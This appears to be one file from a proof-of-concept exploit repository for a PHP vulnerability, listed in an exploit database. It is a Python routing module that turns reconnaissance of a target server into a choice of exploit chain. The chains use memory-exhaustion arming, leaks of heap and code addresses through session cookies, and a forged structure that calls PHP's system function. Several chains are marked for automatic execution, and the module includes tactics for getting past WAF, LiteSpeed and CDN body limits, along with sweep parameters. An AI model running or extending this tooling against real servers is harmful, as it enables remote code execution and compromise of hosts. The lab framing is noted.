Exploit database

GH-30e76a71e7d985cfcfb3db9ddfb9e427

dinosn/php-cve-2026-10961x-lab-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-10961

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files22
dinosn/php-cve-2026-10961x-lab-pocRevision 6e0989762b58

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/e2e/p2s/routing.py

Python · 30,987 bytes
"""Routing table: precheck verdict -> chain class.

The table is a pure function over the precheck document (plus the method
registry) so it can be exhaustively unit-tested without a network. Each route
names a registry chain method, whether the tool may execute it automatically,
and what the operator must know before it does.

Deliberate non-routes
---------------------
``calibration_gap``   a memory bracket the weapon bank has never calibrated
                      (192M is the canonical example). The tool reports it and
                      does not burn attempts.
``chain_e_fpm``       FPM child death closes the A/B window; low probability
                      and never auto-executed.
``blocked_litespeed`` the LiteSpeed parser rule rejects the upload-progress
                      part at the front. Report the control + remediation.
``memory_chain_dead`` suPHP/CGI: no persistent worker, so no cross-request
                      stale state; the memory chain is dead by construction.
``patched_version_tier`` version at/above the fixed line: a remediation
                      finding, no execution.
``hard_stop_state``   bot challenge: park with resume criteria.
"""
from __future__ import annotations

from dataclasses import dataclass, field

from . import registry

STOCK_ML_MIN = 4          # below 4M nothing calibrates (PHP itself is larger)
STOCK_ML_MAX = 160        # calibrated stock family bracket (128M nominal)
PERMANENT_ML_MAX = 200    # above this the producer cannot reach the limit

ROUTE_DESCRIPTIONS = {
    "transplant_chain": (
        "mod_php + a measured bracket + a front cap that excludes every stock "
        "leak-capable producer: the N1 two-byte bomb arms the rfc1867 OOM and "
        "the forged-zend_string windowed disclosure (78ResearchLab class) "
        "leaks both bases in 0.11 MB, then a packed r0 sweep dispatches "
        "zif_system"
    ),
    "stock_chain": (
        "mod_php + unpatched + a calibrated memory bracket: the 1.41 MB "
        "header-dense producer (falling back to the field producer where the "
        "parser amortises headers) arms the rfc1867 OOM, the session cookie "
        "leaks both bases, and the fake HashTable dispatches zif_system"
    ),
    "calibration_gap": (
        "memory bracket outside the calibrated stock family (the 192M case): "
        "reported, not attempted"
    ),
    "chain_e_fpm": (
        "FPM/CGI worker: Chain-E (stale BG(unserialize) from a decode OOM) is "
        "lab-proven, but the dispatch needs three absolute bases and an "
        "integer session value; neither is reachable in-band, so the route "
        "reports prerequisites and never auto-executes"
    ),
    "blocked_litespeed": (
        "LiteSpeed parser-grade block on the upload-progress part: the "
        "prerequisite cannot be created; report the control and the "
        "remediation (front rule), do not attempt"
    ),
    "memory_chain_dead": (
        "suPHP/CGI: a per-request process cannot carry stale session state "
        "across requests; the memory chain is dead by construction"
    ),
    "patched_version_tier": (
        "version at/above the fixed line and/or the patched parser signature: "
        "remediation finding only"
    ),
    "hard_stop_state": (
        "bot challenge active: every further request deepens the block; park "
        "with explicit resume criteria"
    ),
    "blocked_front": (
        "the front refuses every multipart framing or caps the body below the "
        "cheapest producer: no parser surface is reachable"
    ),
    "chain_php72": (
        "PHP 7.x: the program's 7.2 chain exists (tools/php72) but is not "
        "wired into this tool's stock geometry; report the route, do not "
        "auto-execute"
    ),
    "nested_chain_unported": (
        "the front cap rules out the 1.41 MB/129 MB producer family, but the "
        "nested-name amplifier fits: the chain exists as a measured amplifier "
        "and a patched oracle, not yet as consumer shapes"
    ),
    "killaboi_chain": (
        "tight-cap front (nginx/CDN class): the 249 KB nested file-control "
        "fill OOMs the parser under the cap, the parse-stage OOM poisons a "
        "surviving worker, and the KillaBoi consumer shapes disclose the Zend "
        "chunk base and zval_ptr_dtor in Set-Cookie; a forged HashTable then "
        "dispatches zif_system. Employee poison_then_spray worker doctrine; "
        "every body fits 1 MiB"
    ),
    "unknown": "insufficient signal to route; do not execute",
    "unreachable": (
        "the transport never delivered a request (DNS, connect, TLS): this is "
        "a host-availability result, not a parser verdict, and no request "
        "reached the target's PHP surface. The campaign closes with the "
        "transport failure recorded, so a later pass starts from a clean "
        "budget rather than an open campaign"
    ),
}


@dataclass
class Route:
    chain_class: str
    method: str = ""
    executable: bool = False
    reason: str = ""
    requirements: list = field(default_factory=list)
    evidence: list = field(default_factory=list)
    confidence: str = "low"
    next_steps: list = field(default_factory=list)

    def as_dict(self) -> dict:
        return {
            "chain_class": self.chain_class,
            "description": ROUTE_DESCRIPTIONS.get(self.chain_class, ""),
            "method": self.method,
            "executable": self.executable,
            "reason": self.reason,
            "requirements": self.requirements,
            "evidence": self.evidence,
            "confidence": self.confidence,
            "next_steps": self.next_steps,
        }


def route(precheck: dict) -> Route:
    verdict = precheck.get("verdict", {})
    checks = precheck.get("checks", {})
    hard = precheck.get("hard_stop") or verdict.get("hard_stop")
    if hard:
        return Route(
            "hard_stop_state",
            executable=False,
            reason=hard.get("reason", "bot challenge"),
            evidence=[f"marker={hard.get('marker', '')}"],
            confidence="high",
            next_steps=[
                f"park; resume only when: {hard.get('resume_criteria', '')}",
            ],
        )

    sapi = verdict.get("sapi", "unknown")
    front = verdict.get("front", "unknown")
    keepalive = verdict.get("keepalive")
    patched = verdict.get("patched")
    ml = verdict.get("memory_limit_mib")
    waf_all = verdict.get("waf_all_blocked")
    allowed = verdict.get("waf_allowed_variants", [])
    # A measured ceiling is a *cap* only when a rung was actually rejected;
    # otherwise it is "at least this much accepted" and excludes nothing.
    ceiling = verdict.get("body_ceiling")
    if ceiling is not None and not verdict.get("body_ceiling_is_cap", True):
        accepted_floor = ceiling
        ceiling = None
    else:
        accepted_floor = None
    chunked_buffered = verdict.get("chunked_buffered")
    sapi_check = checks.get("sapi", {})
    ml_check = checks.get("ml_bracket", {})
    patch_check = checks.get("patched_build", {})

    evidence = list(sapi_check.get("evidence", []))
    if verdict.get("multiplexed_front"):
        evidence.append(
            "multiplexing front (cache/CDN markers): poison-then-spray, not "
            "saturate-then-one"
        )
    if ml is not None:
        evidence.append(f"memory bracket ~{ml} MiB (death threshold)")
    if accepted_floor is not None:
        evidence.append(
            f"front accepted >= {accepted_floor} B (no rejected rung: not a cap)"
        )

    # The leak producer's wire size against the measured cap is a routing
    # input on every front class: a body the edge refuses never reaches the
    # parser (RUN-3 F6).
    from . import calibrate as _calibrate  # local: keep routing import-pure

    producer_choice = _calibrate.choose_leak_producer({"ml_mib": ml}, ceiling)

    # 1. Front-level parser block (LiteSpeed rule) — before SAPI, because the
    #    control is the finding.
    if front == "litespeed" and (waf_all or _upload_progress_blocked(checks)):
        return Route(
            "blocked_litespeed",
            executable=False,
            reason="LiteSpeed rejected the upload-progress multipart part",
            evidence=evidence + ["upload-progress part 403 under LiteSpeed"],
            confidence="high",
            next_steps=[
                "report the front rule as the control; remediation is the "
                "server-side multipart rule, not an application patch",
            ],
        )

    # 1c. A measured-absent session channel is structural. Both chain classes
    #     (stock and killaboi) disclose through a PHP session cookie; when the
    #     upload-progress probe and the end-init probe both fail to produce one
    #     on an Apache/mod_php front, there is no carrier and no producer wire
    #     will change that. RUN-3 spent 292 requests on exactly this shape
    #     before the wall was named.
    session_check = checks.get("session_surface") or {}
    if (
        front == "apache"
        and sapi in ("mod_php", "mod_php?")
        and not (waf_all and not allowed)
        and session_check.get("upload_progress_live") is False
        and session_check.get("end_init_reachable") is False
    ):
        return Route(
            "leak_channel_absent",
            executable=False,
            reason="no PHP session cookie on any session probe: the leak has "
            "no carrier, so no producer wire size, cap or worker strategy can "
            "arm the chain",
            evidence=evidence
            + [
                "upload-progress probe produced no session cookie",
                "end-init probe produced no session cookie",
            ],
            confidence="high",
            next_steps=[
                "report the structural fact (no session init: the "
                "upload-progress field fatals or the session handler is dead) "
                "and stop; do not spend the leak ladder",
            ],
        )

    # 1a. Tight cap + mod_php prefork: the transplant class.
    #     A front cap above the arm but below the field fill used to be a dead
    #     end (`calibration_gap`/`_cap_route`). The 78ResearchLab windowed
    #     disclosure is a real leak stage inside a 1 MiB budget, so the route
    #     is executable when its own geometry is proven for the build.
    transplant_route = _transplant_route(
        verdict, checks, ceiling, producer_choice, evidence
    )
    if transplant_route is not None:
        return transplant_route

    # 1b. Tight cap + nested reach: the KillaBoi class.
    #     A front that rejects every stock leak-capable producer is not a dead
    #     end while a <=250 KB nested fill still aborts the parser: the class
    #     carries its own disclosure stages and its own worker doctrine, so the
    #     decision is whether *its* fill fits, not whether the stock one does.
    killaboi_route = _killaboi_route(
        verdict, checks, ceiling, producer_choice, evidence
    )
    if killaboi_route is not None:
        return killaboi_route

    # 2. Non-Apache front: mod_php is structurally impossible.
    if sapi == "fpm_or_cgi":
        if front == "apache" and keepalive is False:
            return Route(
                "memory_chain_dead",
                executable=False,
                reason="Apache closed the connection per request: suPHP/CGI",
                evidence=evidence,
                confidence="medium",
                next_steps=["no cross-request stale state; do not attempt"],
            )
        if patched is True:
            return Route(
                "patched_version_tier",
                executable=False,
                reason=patch_check.get(
                    "banner_reason",
                    "patched build: the FPM Chain-E bailout no longer leaves "
                    "stale decode state",
                ),
                evidence=evidence + list(patch_check.get("evidence", [])),
                confidence=patch_check.get("confidence", "medium"),
                next_steps=["remediation finding only; Chain-E is closed here"],
            )
        if ceiling is not None and not producer_choice["leak_capable_fits"]:
            # Two independent blockers, both stated: the front cap excludes
            # every leak-capable producer, and the out-of-process SAPI cannot
            # preserve the leak window. Never hide the cap behind the SAPI.
            extra = [
                f"out-of-process SAPI ({front}) cannot carry the mod_php leak "
                "window",
            ]
            return _cap_route(
                ceiling, producer_choice, checks, evidence, extra_evidence=extra
            )
        return Route(
            "chain_e_fpm",
            method="chain_e_fpm",
            executable=False,
            reason="PHP runs out of process (FPM/FCGI) behind " + str(front),
            evidence=evidence
            + (
                ["chain closed: nested oracle completed on a patched build"]
                if verdict.get("chain_closed")
                else []
            ),
            confidence="high",
            requirements=[
                "a session-bearing request (upload progress starts the session "
                "before the app, so any URL reaches the decode)",
                "arming: a session file or a stalled upload-progress write "
                "sized past memory_limit/2 (pool width >= 2 for the remote one)",
                "the three dispatch bases (Zend-MM chunk, php-fpm image, libc): "
                "this surface discloses none of them in-band",
                "the decoded session value must be an integer equal to system()",
            ],
            next_steps=[
                "run --phase calibrate --method calibrate_chain_e for the "
                "family/pool/arming plan, then --phase chain --method "
                "chain_e_fpm with --ce-pid (on the target host) or explicit "
                "--ce-exe/--ce-libc/--ce-heap; the route never executes it "
                "automatically",
            ],
        )

    # 3. Version/behavioural patched.
    if patched is True:
        return Route(
            "patched_version_tier",
            executable=False,
            reason=patch_check.get(
                "banner_reason", "patched build or patched parser signature"
            ),
            evidence=evidence
            + list(patch_check.get("evidence", []))
            + (
                ["chain closed: nested oracle completed on a patched build"]
                if verdict.get("chain_closed")
                else []
            ),
            confidence=patch_check.get("confidence", "medium"),
            next_steps=["remediation finding only; no chain attempt"],
        )

    # 4. Front body/multipart blocks.
    if waf_all and not allowed:
        return Route(
            "blocked_front",
            executable=False,
            reason="every multipart framing variant was rejected",
            evidence=evidence + ["12 framing variants blocked"],
            confidence="medium",
            next_steps=[
                "a multipart filter that passes urlencoded is the advisory "
                "mitigation pattern, not a parser fix",
            ],
        )
    chunked_refused = bool(
        verdict.get("chunked_refused")
        or (checks.get("ml_bracket") or {}).get("chunked_refused")
    )
    post_max = (checks.get("post_max") or {}).get("post_max_bytes") or 0

    # 4a. Does the leak producer fit the measured front cap?
    #     RUN-3 read "nginx => chain_e_fpm" and never checked the cheaper,
    #     true fact: the leak producer's wire size. A producer above the cap
    #     is a body the edge refuses (413) before the parser sees it, so the
    #     stock chain cannot arm and the decision is the registered nested
    #     gap, not execution.
    if ceiling is not None and not producer_choice["leak_capable_fits"]:
        return _cap_route(ceiling, producer_choice, checks, evidence)
    if ceiling is not None:
        evidence.append(
            f"leak producer {producer_choice['producer']} "
            f"{producer_choice['wire']} B fits cap {ceiling} B"
        )
    if chunked_refused and post_max and post_max < 60 << 20:
        # Content-Length is a first-class framing now (the stall fallback
        # switches the pipeline), but a CL body above post_max is discarded
        # before the session init: record the smaller window.
        evidence.append(
            f"chunked refused; Content-Length producer must stay under "
            f"post_max_size {post_max} B"
        )

    # 4b. EOL 7.x: a separate chain calibration exists, not this tool's.
    if str(verdict.get("version", "")).startswith("7."):
        return Route(
            "chain_php72",
            method="chain_php72",
            executable=False,
            reason="PHP 7.x carries the same stale-globals class but needs the "
            "7.2 geometry (tools/php72), which is not wired here",
            evidence=evidence,
            confidence="medium",
            next_steps=[
                "drive tools/php72/chain72.py or register a php72 chain method "
                "with its own pads/table geometry",
            ],
        )

    # 5. mod_php with a memory bracket.
    if ml is None:
        return Route(
            "calibration_gap",
            executable=False,
            reason="memory limit could not be bracketed (no OOM rung reached)",
            evidence=evidence,
            confidence=(ml_check.get("verdict") == "NO-SIGNAL" and "high" or "low"),
            next_steps=[
                "the producer may be below the limit or the front buffers; "
                "re-run --calibrate with a larger instrument budget",
            ],
        )
    if ml < STOCK_ML_MIN:
        return Route(
            "calibration_gap",
            executable=False,
            reason=f"bracket {ml} MiB is below the smallest calibrated build",
            evidence=evidence,
        )
    if STOCK_ML_MIN <= ml <= STOCK_ML_MAX:
        confidence = "high" if patch_check.get("high_memory_death") else "medium"
        if patch_check.get("fp_filter_applied"):
            evidence.append("low-memory false-positive filter applied")
        requirements = [
            "upload-progress session init reachable",
            "one worker or a saturation strategy for >1",
            "a proof channel (fetchable path or an operator-supplied OOB)",
        ]
        if ml <= 64:
            evidence.append(
                "low-memory bracket: the header-dense producer reaches the OOM "
                "point, but the 16M leak/fire variant is proven only in the "
                "calibration reference's chain, not this stock geometry"
            )
            requirements.append(
                "low-memory geometry: port the reference chain's <=0.3MB "
                "leak-B/fire-B shapes (registered gap)"
            )
        return Route(
            "stock_chain",
            method="stock_chain",
            executable=True,
            reason=(
                f"mod_php, unpatched, memory bracket {ml} MiB inside the "
                "calibrated stock family"
            ),
            evidence=evidence,
            confidence=confidence,
            requirements=[
                "upload-progress session init reachable",
                "one worker or a saturation strategy for >1",
                "a proof channel (fetchable path or an operator-supplied OOB)",
            ],
        )
    if ml <= PERMANENT_ML_MAX:
        return Route(
            "calibration_gap",
            executable=False,
            reason=(
                f"bracket {ml} MiB is the known-uncalibrated band (192M-class); "
                "the stacked producer now reaches it, but the stock dispatch "
                "geometry does not transfer"
            ),
            evidence=evidence,
            confidence="high",
            next_steps=[
                "register a 192M calibration method once a producer/geometry "
                "pair is lab-proven",
            ],
        )
    return Route(
        "calibration_gap",
        executable=False,
        reason=f"bracket {ml} MiB is above the producer's reach",
        evidence=evidence,
    )


def _transplant_route(verdict: dict, checks: dict, ceiling,
                      producer_choice: dict, evidence: list) -> Route | None:
    """Tight-cap mod_php route: does the transplant leak stage fit and apply?

    Preconditions are measured, never assumed:

    * a real front cap (a rejected rung, not an acceptance floor) that excludes
      every stock leak-capable producer,
    * the transplant's largest request inside that cap (arm + disclosure),
    * mod_php/prefork (the published geometry is mod_php only; FPM and
      cli-server are the KillaBoi/Chain-E classes),
    * a measured bracket inside the calibrated 8..200 MiB band,
    * an 8.4.x build (the validated geometry),
    * a non-multiplexing front: the class needs holder saturation to leave one
      free child for the arm+disclosure pair, so a CDN-class front keeps the
      poison-then-spray class.
    """
    if ceiling is None or verdict.get("patched") is True:
        return None
    if verdict.get("waf_all_blocked") or verdict.get("multiplexed_front"):
        return None
    if producer_choice.get("leak_capable_fits"):
        return None
    transplant = producer_choice.get("transplant") or {}
    if not transplant.get("fits"):
        return None
    sapi = verdict.get("sapi")
    if sapi not in ("mod_php", "apache2handler"):
        return None
    ml = verdict.get("memory_limit_mib")
    if ml is None or not (STOCK_ML_MIN <= float(ml) <= PERMANENT_ML_MAX):
        return None
    version = str(verdict.get("version") or "")
    if not version.startswith("8.4"):
        return None
    if not (verdict.get("upload_progress") or verdict.get("end_init_reachable")):
        return None
    from . import transplant as _transplant

    arm = _transplant.arm_wire(ml)
    disclosure = _transplant.disclosure_wire()
    return Route(
        "transplant_chain",
        method="transplant_chain",
        executable=True,
        reason=(
            f"front cap {ceiling} B excludes every stock leak-capable producer "
            f"({producer_choice['reason']}); the transplant leak stage fits "
            f"(arm {arm} B, disclosure {disclosure} B) and discloses through "
            "the forged-zend_string window at this bracket"
        ),
        evidence=list(evidence)
        + [
            f"front cap {ceiling} B (rejected rung)",
            f"transplant largest request {transplant['wire']} B <= cap",
            f"bracket {ml} MiB is inside the calibrated band; arm sized by the "
            "measured 78ResearchLab anchor ladder",
            "mod_php/prefork with a saturable pool: the arm and the disclosure "
            "must land on the same child",
            "leak stage: 1001-part carrier arm (N1 2-byte line) -> 0x1000 "
            "probe -> 0x20000 dump (both bases), 109,546 B",
            "fire stage: packed r0 sweep 0x50000..0xC0000, four low-bit "
            "candidates per request, re-leak every 24",
        ],
        confidence="high",
        requirements=[
            "upload-progress session init with a file part after the "
            "id/progress fields and use_strict_mode=0",
            "max_input_vars / max_multipart_body_parts >= ~1000",
            "a holder doctrine that leaves one free prefork child",
            "a proof channel (fetchable path or the blind timing oracle)",
        ],
        next_steps=[
            "run --phase chain (or --phase all); a miss is a sweep window, not "
            "a build verdict — widen --tr-r0-lo/--tr-r0-hi or add low-bits",
        ],
    )


def _killaboi_route(verdict: dict, checks: dict, ceiling, producer_choice: dict,
                    evidence: list) -> Route | None:
    """Tight-cap route: does the KillaBoi class fit and reach the parser?

    Preconditions are all measured, never assumed:

    * a real front cap (a rejected rung, not an acceptance floor) that excludes
      every stock leak-capable producer,
    * the 249 KB nested fill inside that cap,
    * parser reach for that fill: the nested oracle OOMed on this target, or
      the measured bracket is inside the class's 135 MiB plateau,
    * unpatched and no front-wide multipart block.
    """
    if ceiling is None or verdict.get("patched") is True:
        return None
    if verdict.get("waf_all_blocked"):
        return None
    if producer_choice.get("leak_capable_fits"):
        return None
    killaboi = producer_choice.get("killaboi") or {}
    if not killaboi.get("fits"):
        return None
    nested_check = checks.get("nested_oracle") or {}
    nested_oom = bool(nested_check.get("nested_oom"))
    ml = verdict.get("memory_limit_mib")
    bracket_reach = ml is not None and float(ml) <= 132.0
    if not (nested_oom or bracket_reach):
        return None
    reach_evidence = (
        f"nested fill {killaboi['wire']} B OOMed the parser on this target"
        if nested_oom
        else f"nested fill {killaboi['wire']} B fits; bracket {ml} MiB is "
        "inside the class's 135 MiB plateau"
    )
    return Route(
        "killaboi_chain",
        method="killaboi_chain",
        executable=True,
        reason=(
            f"front cap {ceiling} B excludes every stock leak-capable producer "
            f"({producer_choice['reason']}); the KillaBoi class fits "
            f"({killaboi['wire']} B fill) and discloses through session cookies"
        ),
        evidence=list(evidence)
        + [
            f"front cap {ceiling} B (rejected rung)",
            f"front cap {ceiling} B excludes every stock leak-capable producer "
            f"({producer_choice['reason']})",
            reach_evidence,
            "killaboi bodies: producer 249042 B, heap consumer 6672 B, "
            "code consumer 92388 B, final 368812 B (all <= cap)",
            "worker doctrine: poison_then_spray (the front opens one upstream "
            "connection per request; the OOM-latched worker is the target)",
        ],
        confidence="high" if nested_oom else "medium",
        requirements=[
            "a worker that survives the parse-stage OOM (cli-server or an FPM "
            "child pool; a per-request suPHP/CGI process cannot latch)",
            "a live session surface (upload progress or an END-init Set-Cookie)",
            "the measured Alpine 8.4.26 geometry for the code fingerprint and "
            "the carrier distance (defaults; CLI-overridable)",
            "the heap and code leaks from the same invocation, then the final "
            "request that forges pDestructor = zif_system",
        ],
        next_steps=[
            "run --phase chain (or --phase all); on a callback miss the class "
            "is retried with --fire-attempts/--kb-fire-batch, not by inventing "
            "new addresses",
        ],
    )


def _upload_progress_blocked(checks: dict) -> bool:
    """The canonical upload-progress part is rejected, whatever the casing.

    Case-varied field names are not equivalent prerequisites (PHP's progress
    field name is case-sensitive), so they cannot launder a block on the
    canonical shape.
    """
    waf = checks.get("waf_shapes", {})
    if waf.get("all_blocked"):
        return True
    records = {r.get("name"): r for r in waf.get("variants", [])}
    canonical = [
        "baseline_quoted",
        "unquoted_boundary",
        "comma_separator",
        "lowercase_header",
        "space_around_equals",
        "charset_suffix",
        "rfc2231_filename",
        "folded_disposition",
        "no_space_disposition",
        "dashed_boundary",
    ]
    blocked = [
        name
        for name in canonical
        if records.get(name, {}).get("status") in (400, 403, 406, 415, 501)
    ]
    return len(blocked) >= 6


def _cap_route(ceiling, producer_choice: dict, checks: dict, evidence: list,
               *, extra_evidence=()) -> Route:
    """The front cap excludes every leak-capable producer: report, never run.

    ``nested_chain_unported`` when the nested amplifier still OOMs the parser
    on bytes the cap passes (the registered consumer-shape gap); otherwise
    ``blocked_front``. Either way this is a front measurement, not a patched
    build and not a parser death (RUN-3 F0/F6).
    """
    from . import calibrate as _calibrate

    nested_check = checks.get("nested_oracle") or {}
    nested_oom = bool(nested_check.get("nested_oom"))
    nested_wire = _calibrate.leak_producer_wire("nested")
    base = list(evidence) + list(extra_evidence)
    if nested_oom and nested_wire <= int(ceiling):
        return Route(
            "nested_chain_unported",
            method="stock_chain_nested",
            executable=False,
            reason=(
                f"front cap {ceiling} B: no leak-capable producer fits "
                f"({producer_choice['reason']}), while the nested amplifier "
                f"({nested_wire} B) still OOMs the parser on the same bytes"
            ),
            evidence=base
            + [
                f"leak producer {producer_choice['producer']} "
                f"{producer_choice['wire']} B > cap {ceiling} B",
                f"nested amplifier wire {nested_wire} B <= cap",
                "nested/calif shapes are OOM oracles: their fatal lands in the "
                "rfc1867 parse, not the session-cookie encode",
            ],
            confidence="medium",
            next_steps=[
                "the KillaBoi-class fill (249042 B) was excluded: it does not "
                "fit this cap or the bracket is outside the class plateau; do "
                "not substitute an over-cap producer",
            ],
        )
    return Route(
        "blocked_front",
        executable=False,
        reason=(
            f"front body ceiling {ceiling} B is below every leak-capable "
            f"producer ({producer_choice['reason']})"
        ),
        evidence=base,
        confidence="medium",
        next_steps=[
            "a smaller *disclosure* amplifier would reopen this; the nested "
            "class proves the parser but yields no cookie",
        ],
    )


def route_document(precheck: dict) -> dict:
    result = route(precheck)
    document = {
        "phase": "route",
        "target": precheck.get("target", ""),
        "route": result.as_dict(),
        "verdict": precheck.get("verdict", {}),
    }
    if result.method:
        try:
            entry = registry.get(result.method)
            document["method"] = entry.as_dict()
        except KeyError:
            document["method"] = {"name": result.method, "missing": True}
    return document